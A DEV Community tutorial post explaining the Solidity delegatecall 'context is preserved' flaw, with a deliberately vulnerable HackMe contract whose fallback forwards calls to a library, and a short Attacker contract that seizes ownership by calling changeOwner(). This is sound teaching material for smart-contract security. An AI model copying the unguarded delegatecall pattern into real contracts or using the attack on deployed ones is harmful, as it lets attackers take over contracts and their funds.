DEV Community

Rushank Savant
Rushank Savant

Posted on

Delegate Call - Context is Preserved

This is a very simple and rare vulnerability which we might never see in real-world. But let's take a sneak-peak anyway.

Let's understand how delegate call works.
contract_A has a function which delegate calls contract_B. When that function is called, state of contract_A is changed after successful execution of code in contract_B.

Consider the following:

contract HackMe {
    address public owner;
    Lib _libContract;

    constructor(address _lib) {
        owner = msg.sender;
        _libContract = Lib(_lib);
    }

    fallback() external payable {
        address(_libContract).delegatecall(msg.data);
    }
}

contract Lib {
    address public owner;

    function changeOwner() external {
        owner = msg.sender;
    }
}
Enter fullscreen mode Exit fullscreen mode

If you are clear with delegate call, you might have seen the problem above. If not, no worries keep reading...

How HackMe can be hacked to change owner variable?

  • If an attacker calls changeOwner() function in HackMe , this will trigger the fallback function (because there is no changeOwner() in HackMe).
  • fallback function delegate calls Lib contract calling msg.data which is changeOwner()
  • this will call changeOwner() in Lib which will change owner(in HackMe) to msg.sender(i.e attacker address).

See the following contract:

contract Attacker {
    address hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() external {
        hackMe.call(abi.encodeWithSignature("changeOwner()"));
    }
}
Enter fullscreen mode Exit fullscreen mode

Top comments (0)